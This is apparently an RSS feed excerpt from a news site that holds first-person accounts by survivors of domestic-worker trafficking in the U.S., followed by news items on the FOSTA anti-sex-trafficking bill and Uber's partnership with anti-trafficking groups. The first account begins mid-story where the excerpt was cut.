Because I was underage, I needed my parents’ permission to travel abroad. I traveled home from my sister’s house and read them a letter from the family that would employ me. They were happy for me and signed the forms. I was granted a two-year domestic-worker visa. A few weeks later, in 1990, I boarded a plane to Boston carrying a Portuguese–English dictionary, some (warm-weather) clothes, and some cassette tapes of Caetano Veloso, Tina Turner, and New Kids on the Block.

I remember feeling nervous on the plane. I’d be in a new country, learning a new language. But the family told me I had nothing to worry about. They said this would be new for them too, and we would all learn together. Those conversations made me feel safe.

But things started going wrong from the beginning. For example, the family was told by the building management that to receive mail, their names had to be on the mailbox. So they put their names on, but not mine. I couldn’t receive mail. I tried to put it on there several times, but every time, they took it off.

There were more, little things. They asked me to do more than just childcare. They asked me to do the dishes, because running the dishwasher was too expensive. They said I couldn’t use the phone to call home, because it was also too expensive.

One day, they said they wanted to turn my bedroom into a guest room, and told me to stay on the porch. It was a “three-season porch,” one that had storm windows, a concrete floor, and a big red door with thick rubber around it to keep the cold—the cold of my new room—from coming into the rest of the house. I had to sleep on a futon on the floor. Beneath that, I put cardboard boxes, to insulate me from the concrete. Remember, this is Boston. I did have a space heater, but for many months each year, the floor was frigid.

Every day, I woke up at 6 a.m., dressed, and worked nonstop, from morning until night. I made breakfast and served the family. I cleaned the house until it was spotless. I took care of their child. I did all the laundry. One thing I never understood was that they wanted everything ironed: bathroom towels, sheets, even underwear. At 11 p.m. at night, after I’d made dinner, tidied up, washed the dishes, and the children were sleeping, I would have to do the ironing.

Sometimes they had family visit from Brazil, or people over for dinner, and I had to cook and clean for them too. None of the guests ever said a word to me. Neither, mostly, did the parents themselves. There was very little conversation between us. I was a fixture in the house; a robot there to do things for them. I felt invisible, dispensable, and alone. Many days I worked 15 hours straight.

At some point, they began to ration how much food I should prepare. Often, they would eat everything I cooked and leave nothing for me. On those nights, I would go out late at night and get something from a nearby store. That money came out of my already small earnings. After a while, they had a second baby, which I was expected to care for as well, and my pay was increased to $ 150 per month.

For three months, I got asthma from inhaling ammonia and Clorox, and couldn’t sleep at night. Even though they were medical doctors, they never took me to the doctor or checked me out themselves. The wife told me to take some of the kids’ medicine before going to bed. I felt I was not treated as a person. Life went on like this for two years.

One thing I know is hard to understand for people who grew up with a lot of autonomy is why I didn’t speak up or walk out. Often, for those of us who grow up poor, we don’t have the tools to challenge the people who hold power over us. In situations like these, there are all sorts of power dynamics at play. For one thing, my visa was tied to my work with the family. Where would I go if I walked out? I didn’t speak English and had no one. I was not getting the education I was promised. Who could I turn to? Many people in these situations are afraid to trust government agencies or the police. I did question things from time to time. But I would get yelled at quickly. Once, the wife told me I shouldn’t disrespect her, and that I should kiss the ground she walked on.

It was hard emotionally—and confusing. I had worked for the family in Brazil, and there, I never felt mistreated. I would go with them to their vacation homes in Brazil. But something changed in the U.S. And I did feel a very real connection with the children. The oldest boy would make drawings for me and comfort me when I cried. People don’t understand that you can’t just walk out. Even if you are not in physical chains, there are constraints—economic, emotional, social—that keep women like me in place. There’s a lot of coercion—and denial. We think, “Oh, my boss is just having a bad day, I need to be understanding.”

They told me up-front that if I didn’t like it, they could get me a ticket to go home. But for me that wasn’t so easy: Coming from a simple family, it was instilled in me that all I have is my values, my word, and my commitment. I wasn’t supposed to ever break it. And I worried that if I spoke up, I would get thrown out. The porch was bad, but being out on the street with no English would have been much worse.

I blamed myself for what was happening. I would write to my family and say that everything was fine, that the city was beautiful. I never told my family about the situation, because I felt it was my fault. I thought if I went back to Brazil, I would be blamed for not being tough enough.

Toward the end, I was able to bargain in exchange for time to go to English classes. I said that if they helped me go to school, I would leave dinner in the oven and clean everything afterward and finish things up in the middle of the night. In addition, every other weekend, they would go out, and I would care for the children from dinnertime until 2 a.m. At first, my English classes cost $ 30 a month, which I paid. Later I was able to find a free class.

The family returned to Brazil. But I had nothing to show for my time in the U.S. I decided not to go home. I found work with another couple who bought me my first winter jacket, asked what I wanted when they went to the grocery store, and encouraged my studies. I stayed with them for 14 years.

Since then, I’ve built a life and career. I cleaned homes, and did eldercare for 15 years. By working two to three jobs at a time, I was able to finish school. Eventually, I got a Ph.D. in sociology from Boston University. I volunteered at the Brazilian Worker Center, a community-based organization in Boston that works for the empowerment of Brazilian immigrants. In 2010, I became its executive director, and helped shepherd, in coalition with other groups, the first law to protect the rights of domestic workers across Massachusetts. And now, every day, I work so that women who are in situations like the one I was in can get out and build lives of their own.

This story was produced with assistance from the National Domestic Workers Alliance and its Beyond Survival campaign.

]]> https://briefnews.eu/i-am-a-survivor-of-human-trafficking-natalicias-story/feed/ 0 I Am a Survivor of Human Trafficking: Judith’s Story https://briefnews.eu/i-am-a-survivor-of-human-trafficking-judiths-story/ https://briefnews.eu/i-am-a-survivor-of-human-trafficking-judiths-story/#respond Mon, 12 Mar 2018 13:18:20 +0000 http://briefnews.eu/i-am-a-survivor-of-human-trafficking-judiths-story/ This is one of three first-person accounts written by survivors of human trafficking. The others, as well as background about the project, can be found here.

I arrived in New York on September 15, 2005, at age 38, clutching a personal statement I had written for myself. It read, “I am going to America for the future of my kids. I am going to give them a good future. This is my purpose.”

I never thought I would get to live in the United States. But, my opportunity came when my sister moved to another country as a domestic worker and met a diplomat family that was moving to New York City. She told them about me, and they sent a contract to the Philippines for me to sign. I became one of the tens of thousands of Filipina women who go overseas each year as domestic workers. I would meet my employers for the first time in the U.S.

The contract said I would work eight-hour days, five days per week, and make $ 1,800 per month, caring for a teenager with special needs and doing some cooking and cleaning around the house. I would even get paid holidays and time off. But my sister, who had already worked for the same family, warned me that the contract was only for show—my real income would be $ 500 per month. However, that was still triple what my husband and I made combined. He was working as a driver for Johnson & Johnson, making 8,000 pesos (about $ 150) per month, while I made even less selling street snacks. We were feeling the strain of supporting four children, especially the hospital bills for my youngest, who suffers from seizures and often ends up in the hospital.

So I asked my husband to quit his job to stay home with the kids, and I traveled to the U.S. on a G-5 diplomatic visa. I brought with me a clean cloth diaper for each of my kids, to remind me of them. My new employers picked me up at the airport and drove me to their home, in a building with a doorman on the Upper West Side of Manhattan. I later told the rest of my story in an affidavit to the Department of Homeland Security—after learning I had become a victim of human trafficking.

In the beginning, things were okay. I had my own small room, though it was unfurnished aside from a bed. My employers would even take me out to dinner with them. But after three months, the wife started yelling at me all the time, for things like folding the laundry wrong. I couldn’t fully understand English, and said, “Sorry madam, I can’t understand.” That only made her angrier.

I was soon working 14-to-18-hour days, seven days per week. I cleaned and vacuumed their three-bedroom, three-bathroom apartment, washed and ironed their clothes, cooked breakfast and dinner, and cared for their daughter. I had to do the laundry in the bathtub, because they said the washing machine would ruin their clothes. When the daughter had an accident in her bed, I had to wash the comforter in the middle of the night. When family friends stayed the night, I had to serve them and wash their clothes too.

The food was very limited, as I wrote in the affidavit. The family would portion out how much food I should cook. I was only allowed to eat the leftovers—if there were any—after dinner. If I took more food than was allowed, the wife would say, “That’s too much.” I felt jittery all the time, knowing they were watching how much I ate. My typical meal consisted of a tall glass of water, a slice of bread, and half of a banana or plain rice late at night.

Once, I was so hungry in the middle of the night and remembered that there was still some rice in the rice cooker. I snuck into the kitchen, scooped a big spoonful of rice into a paper towel, and took it back to my room. The rice stuck to the paper towel, but I peeled off every grain. I was so hungry, I almost ate the paper towel.

Their daughter required special care and education. Caregivers for people with her condition need to have extra training, because some of them can feel easily threatened or frustrated, and they act out. I didn’t know any of this. The daughter would punch me in my back and in my ear. I would panic; I had no idea how to handle this. I would ask her to stop, and she would lie down crying on the floor. Then the wife would yell at me, or just stand there and watch the situation unravel.

I was so isolated. My employers told me not to have friends, especially other Filipinos. They warned me not to tell anyone how much I was being paid. They would say that my sister could get in trouble, or that I could get deported. They would watch me if I talked to anyone else. It scared me. For two years, I hardly ever left home unaccompanied, except on very brief errands to the grocery store across the street.

I cried all the time. I would take my rosary beads out from underneath my pillow, or take out my kids’ little cloth diapers and smell them to remember a familiar scent. That kept me going. Other times, I would re-read my statement of purpose, and remind myself that this was for the future of my kids. I had to be strong.

My employers were holding my passport, as I later reported to the DHS. But after 17 months, they let me go home for my daughter’s graduation. They deducted the cost of the plane ticket from my pay. I desperately wanted to stay in the Philippines, but I came back because my family needed the money and I didn’t know what else to do. Thinking about it now, I know that my husband would have told me to stay, that the money wasn’t worth it. But I couldn’t tell my family how bad it was. I came back.

When I returned, my employers took my passport again, and promised to renew my visa. One day when I was cleaning, I had a feeling, a premonition. I decided to open the last metal drawer of the family’s private dresser. Carefully, with an apron over my fingers, I pulled it open. And there it was: my passport. Right next to several hundred dollars. I started shaking when I saw it, because my boss had told me it was still in the office getting processed. They lied to me. I felt my heart racing from anger and disbelief. I put my passport back and started to plan my escape.

Even though the family watched my interactions, I still managed to make some friends, like the doorman and a Filipina house cleaner next door. Those small interactions were so important to me, because they helped relieve my isolation and loneliness. They also showed me that things inside the apartment were not normal. One friend was a Filipina woman I met at the grocery store across the street. After a while, I told her about my situation. She started leaving food for me with the doorman, and gave me her old cellphone. She pushed me to leave. She said that I needed to earn more, that my family needed more. I knew she was right. She introduced me to a Filipino lawyer in Queens, who wrote down my entire story and pointed out all the labor and human-rights violations. Together, the three of us devised a plan for my escape, and how to alert the authorities about what was happening.

The next morning, I told my employers I was going to visit Niagara Falls for the weekend with my friend who I had met at the store. It was summertime, and the daughter was out of school, so they gave me my passport back and let me go. I even gave my boss my friend’s phone number, as cover. That evening, I went to my friend’s house and picked up a package of documents from the lawyer: several copies of my contract, my story to send to officials, and a letter to my employers. At night, I prayed for a long time. I asked God for strength, and read my handwritten statement one last time.

I escaped the next day: July 26, 2007. I woke up early because I was anxious, and could feel my stomach churning. I knew I had a short window of time, because the wife and daughter would return home at 4 p.m. I cleaned everything in the house by 1 p.m., then walked out and left my key in the door. I immediately called my friend on the cellphone and yelled, “I’m free!” I couldn’t believe it. We ate at a Chinese restaurant that afternoon—my first full meal in months. Another friend picked me up that night.

For five years afterward, I kept silent about what happened, and avoided going out in public. My visa was expired, so I was undocumented, or what we call in Tagalog, tago nang tago, or TNT—“in hiding.” I lived in Queens and worked as a nanny and house cleaner. I was always scared around police, and constantly felt ashamed. In the Philippines, I was independent and knew everyone in my neighborhood. In the U.S., I had become isolated—a shadow of myself.

Eventually, through Damayan, a grassroots organization advocating for and led by Filipina domestic workers, I was able to get a T visa, which is a humanitarian visa for survivors of human trafficking. After I became a leader with Damayan and a board member, I was able to help other trafficking survivors and refer them to Damayan for free legal services. Four of my friends have already received their T visas through Damayan and their partner agency. Then, two years later, in 2015, my four children reunited with me in the U.S. Despite this, every day, I still feel the distance that had developed between us, as a result of nearly a decade of separation. As for the employers, because of diplomatic immunity, they left the country and were never prosecuted. I never got the money or the justice that was owed to me.

There is trafficking happening all around. Many workers from overseas have little information about the situations they are getting into. They might receive a pamphlet but not understand it. Or, the employer will hide it. They need to know contact information, and where they can get help if their employer takes their passport, withholds their pay, or if something else happens. I didn’t understand that my situation could be considered trafficking. I thought I had to follow what the employers said, no matter what, because they were my bosses. If I had understood my rights, and the law, maybe things would have been different.

This story was produced with assistance from the National Domestic Workers Alliance and its Beyond Survival campaign.

]]> https://briefnews.eu/i-am-a-survivor-of-human-trafficking-judiths-story/feed/ 0 I Am a Survivor of Human Trafficking: Nena’s Story https://briefnews.eu/i-am-a-survivor-of-human-trafficking-nenas-story/ https://briefnews.eu/i-am-a-survivor-of-human-trafficking-nenas-story/#respond Mon, 12 Mar 2018 12:18:18 +0000 http://briefnews.eu/i-am-a-survivor-of-human-trafficking-nenas-story/ This is one of three first-person accounts written by survivors of human trafficking. The others, as well as background about the project, can be found here.

I come from a family of teachers: father, husband, sisters, and daughter. I taught for 32 years at an elementary school in the Philippines. Somehow, that added to the shame I felt for being a survivor of trafficking. I not only worried about what my family would think, but my hundreds of students as well. I thought that everyone would lose respect for us.

When I retired from teaching at 55, I went into business with a neighbor, and they disappeared with my savings. I was devastated, but a cousin through a marriage came to my rescue—or so I thought—when she told me her boss was looking for someone to accompany her elderly mother to the United States and take care of her there.

I met with the woman, and she offered me $ 400 per month, nearly three times what I could make as a teacher. She added that she would petition for a specific kind of visa so my family could come to the U.S. too. I was overwhelmed with happiness and gratitude. I thought this was the answer to my prayers.

The first sign that something was wrong was at the airport. The Philippines Airlines personnel withheld my ticket because the woman I was supposed to be caring for was not with me. I wondered why the mother had traveled to the U.S. ahead of me, so I called my boss to let her know I couldn’t pick up my ticket alone. She sent her mother back to Manila, and we flew to the U.S. together. In all of my excitement, I didn’t ask any questions about the strangeness of the situation. I trusted my new boss.

In San Francisco, my boss’s younger sister met us at the airport, and we happily ate dinner at her house. Before going to bed, the sister told me, “My mom stays with me. My sister used my mom so that she could get you to come here to be her domestic helper. Tomorrow, I will arrange your flight to Culver City.”

I was so shocked that I couldn’t say a thing. My head was spinning from the confusion.

I arrived in Los Angeles, and my boss took me to her condo in a gated community. She was a very prominent, influential Filipina woman, and her American husband was the vice president of legal affairs of Sony Pictures in Los Angeles. Before we went inside, she asked for my passport. She said she was going to extend my visa and petition for my family to come to America to be with me. Again, my happiness overwhelmed me, and I believed her.

Within a week, I had a “daily work schedule,” taped to the wall in the kitchen. It ran from 5 a.m. to 10:30 p.m., which was incorrect, since I also had to bring the dogs outside in the middle of the night. I had to take care of the dogs in addition to cooking, cleaning, washing, vacuuming, ironing, dusting, hemming clothes, and maintaining the plants. Every month, I cooked a large pot of a special Filipino dish of ground beef, rice, tomato, carrots, and broccoli for the dogs, but was fed leftover food that had been in the refrigerator for days. I had to brush the dogs’ teeth, clean their ears, and give them vitamins each day, but I had to sleep on a dog bed in the living room, even though the house was large, with a guest room and music room. I kept my belongings in the laundry room.

I felt that my boss disliked everything I did, no matter how hard I tried. She told me I was ignorant and brainless, and, as I later alleged in civil court, she hit me and pulled my hair, and left me with bruises and cuts.

I was scared of her, but also ashamed that this was happening to me, an elderly woman who deserved respect. I wanted to escape, but had no idea where to turn. And all kinds of fears kept me paralyzed. My visa expired, and after that, I was afraid of being arrested. My boss also told me I was responsible for paying back my airfare and that of her mother, since I couldn’t have come to America without her. She also deducted my everyday items from my salary, like shampoo and lotion. As I claimed in my lawsuit, I was paid a total of about $ 300 for my entire time with the family. Even if I made it back to the Philippines, I didn’t know how I could pay back my loans there.

I tried to tell people about my situation. I wrote notes to my boss’s husband. He seemed concerned about the physical abuse. But when the wife found out we were speaking about it, things only seemed to get worse. When the boss’s mother and brother came to visit, I told them too, but they gave me a prayer book and told me to pray. I think they were afraid of her too. I called a friend in Chicago, but she herself was undocumented and afraid to get involved.

In the end, the neighbors were the ones to help. From when I took the dogs out, I made friends with the 13-year-old girl next door. I couldn’t keep from crying when we were together, and eventually told her what was wrong. She told her mother. Plus, her parents sometimes sat at the swimming pool close to our condo, and heard the yelling and hitting through the walls. Her mother asked my boss if I could come help when their cleaning person didn’t show up, and my boss, trying to be a respectable neighbor, let me go. We were able to talk, and the mother encouraged me to escape. But I wasn’t ready. I was still too scared.

This went on for a year. I rarely spoke with my family on the phone, and I didn’t tell them how bad it was, because it felt useless. What could they do from so far away, given all of the debts we had? Because I didn’t have an outlet for expression, I would write things down on paper. At the end of each day, I would write the exact date and list the things my boss said and did to me. I also kept good track of the deductions made from my paycheck. This meticulous recordkeeping was a way to relieve my emotions for the day. But it was also the thing that built my case against the family.

Finally one day, we got a knock on the door. It was the police. One of the neighbors had called and said I was being hit. He asked if I wanted to talk with him alone outside, but I was silent and only looked at my boss. Even though my boss treated me cruelly, she was still my boss, and because of my culture, I felt I should obey her. Also, I had no papers, and didn’t want to be put in immigrant detention. Finally I said, “Sir, maybe some other time. Please give me your business card.”

He left, and I was in trouble after that. I remember the husband and wife berating me. It felt like an interrogation. The next day, my boss took the business card away, and told me they had arranged my flight back to the Philippines. I felt pressured to sign a piece of paper saying I wouldn’t say anything about what had happened. I refused. I went to the neighbors for help, and they called the police. The officers accompanied me back to my boss’s so I could get my things. It seemed like my boss wanted to keep my passport, but they told her to give it to me. I slept at the neighbors’ house that night. The whole experience was a blur.

The next day, the Federal Bureau of Investigation and the Immigration and Naturalization Service, which now falls under the Department of Homeland Security, showed up. My boss had called immigration enforcement, trying to get me deported before I revealed the truth. I was scared when I opened the door. They took me to a government building for several hours. I waited and waited, as exhaustion swept over me. Finally, a woman from SIPA, Search to Involve Pilipino Americans, took me to the Pilipino Workers Center (PWC), a local Filipino organizing group. My life then changed.

PWC helped me with housing, and securing food stamps and access to a doctor. They gave me a bus pass so I could learn how to navigate the city. Another organization called CAST (Coalition to Abolish Slavery and Trafficking) helped me find a lawyer, access to education, and transition to independent living. I became a certified nursing assistant.

My civil case was filed one year after I left my employers, and went to trial another year later. The trial experience was scary and stressful, and difficult to juggle with my job. My employers denied all the charges, but in the end, I won and was awarded monetary compensation. I remember one of the jurors hugged me outside the courtroom afterwards and said, “I believed you 100 percent.” I realized I had been given justice.

One year later, there was also a criminal case. My boss pleaded guilty to a charge of forced labor and had to serve three years in prison. Her husband pleaded guilty to alien harboring, and had to do community service and pay a fine. At last, I could work without fear.

Fighting my trafficking case made me a stronger person. Even when my rights were violated, on the job I had the tools and the community to fight for them—and for those of the countless undocumented domestic workers who can’t speak out.

At 74 years old, I am back in the Philippines, and finally retired. I have remained active with PWC, to help raise awareness of workers’ rights in California and issues of human trafficking. With the compensation money, I have been able to help my community here at home, especially in supporting several family members. Many of them, and my former students, know my story as a survivor of trafficking. Sharing it makes me feel proud. Many of my former students have encouraged me to keep speaking out.

All of this gives me joy and fulfillment. But, it still doesn’t compare to the happiest moment of my life. In 2013, years after I left the Philippines, I was finally reunited with my husband, my children, and my grandchildren.

This story was produced with assistance from the National Domestic Workers Alliance and its Beyond Survival campaign.

]]> https://briefnews.eu/i-am-a-survivor-of-human-trafficking-nenas-story/feed/ 0 House passes contentious anti-online sex trafficking bill https://briefnews.eu/house-passes-contentious-anti-online-sex-trafficking-bill/ https://briefnews.eu/house-passes-contentious-anti-online-sex-trafficking-bill/#respond Wed, 28 Feb 2018 03:38:37 +0000 http://briefnews.eu/house-passes-contentious-anti-online-sex-trafficking-bill/

Sex-trafficking victims, prosecutors and state attorneys will be able to sue websites that host ads and content linked to the sex trade under the bill the House has just approved. The bill called “Allow States and Victims to Fight Online Sex Trafficking Act of 2017” or FOSTA seeks to amend Section 230 of the 1996 Communications Decency Act, which protects websites from lawsuits over user-generated posts. It was filed by Rep. Ann Wagner (pictured above) to target websites like Backpage, which hosts sex and child trafficking ads. Previous investigations have revealed that Backpage went as far as editing posters’ ads — it replaced words in ads trafficking minors with terms like “fresh,” for instance — to conceal evidence from law enforcement.

However, since the bill’s terms would apply to all websites and not just to shady directories, the tech industry is divided on the issue. The Internet Association, IBM, Oracle and Hewlett Packard Enterprise are for it. Facebook, as well, with COO Sheryl Sandberg voicing support for the bill on her page yesterday. “Facebook is committed to working with… legislators in the House and Senate as the process moves forward to make sure we pass meaningful and strong legislation to stop sex trafficking,” she wrote.

Google and groups like the EFF make up the opposition, warning the government that the bill would drastically change the Communications Decency Act, which allowed the internet to flourish. The Electronic Frontier Foundation said it will lead to platforms policing user speech. After all, if they don’t screen their users’ posts, then they could get sued left and right. That means smaller websites and non-profit orgs that don’t have the means to moderate every post are the most at risk. “The tragedy,” according to the EFF, “is that FOSTA isn’t needed to prosecute or sue sex traffickers.” Backpage is reportedly under federal investigation even though it has cited CDA in the past.

Within the government, though, the bill seems to be enjoying support from both political parties and from various authorities. Manhattan District Attorney Cyrus R. Vance, Jr. told The Washington Post: “The ability to hold websites criminally liable for facilitating sex trafficking or the exploitation of children would be transformative in the fight against human trafficking. I thank Congresswoman Wagner for her steadfast dedication to protecting trafficking victims.”

The bill is now on its way to the Senate, which has already passed a similar bill called Stop Enabling Sex Traffickers Act or SESTA last year.

Source: The Washington Post

]]> https://briefnews.eu/house-passes-contentious-anti-online-sex-trafficking-bill/feed/ 0 Uber partners with anti-human trafficking organizations to help drivers report suspected sex slaves https://briefnews.eu/uber-partners-with-anti-human-trafficking-organizations-to-help-drivers-report-suspected-sex-slaves/ https://briefnews.eu/uber-partners-with-anti-human-trafficking-organizations-to-help-drivers-report-suspected-sex-slaves/#respond Mon, 29 Jan 2018 14:38:48 +0000 http://briefnews.eu/uber-partners-with-anti-human-trafficking-organizations-to-help-drivers-report-suspected-sex-slaves/

Uber is teaming up with a number of anti-human trafficking organizations to help drivers spot sexual slavery victims, or those who are being held captive or forced into labor against their will.

To mark Human Trafficking Awareness Month, the ride-hailing giant is working with the Polaris Project, a nonprofit that works to combat modern-day slavery, with a view toward promoting resources and a hotline for reporting suspicious activity. Indeed, all U.S. drivers will receive in-app messages with the hotline number, in addition to information on how to spot possible human trafficking.

Additionally, Uber said that it has partnered with Thorn, an organization that focuses on the use of technology to prevent child pornography and the spread of sexual slavery through the internet. The organization was founded by Demi Moore and Ashton Kutcher and has worked with the likes of Facebook, Google, Microsoft, and Twitter to help thwart sexual abuse online.

While Uber isn’t a name that’s synonymous with good deeds, the company has been proactive in helping find missing children by opening its drivers’ app to AMBER alerts, and it has also partnered with other anti-trafficking organizations, such as ECPAT-USA. Indeed, in 2016, Uber signed the ECPAT Code, which is a set of guidelines focused on helping tourism-related companies prevent child sex tourism and trafficking.

With hundreds of thousands of drivers across the U.S., Uber is in a strong position to disseminate information to people on the ground — those who may have direct access to human trafficking outfits. Back in 2016, an Uber driver actually helped save a 16-year-old sex slave after eavesdropping on a conversation in his car, so it’s clear that Uber drivers may be uniquely positioned to help.

“Both research and experience operating the National Human Trafficking Hotline has shown us that ride sharing services like Uber have a significant role to play in disrupting human trafficking and helping survivors to find freedom,” noted Polaris CEO Bradley Miles. “Ensuring that drivers who recognize the signs of human trafficking know that the hotline is available and can help is an important step toward turning awareness into action and making a real difference in people’s lives.”

Uber’s latest push is aimed only at U.S. drivers, however the company said that it plans to introduce similar initiatives in other countries.

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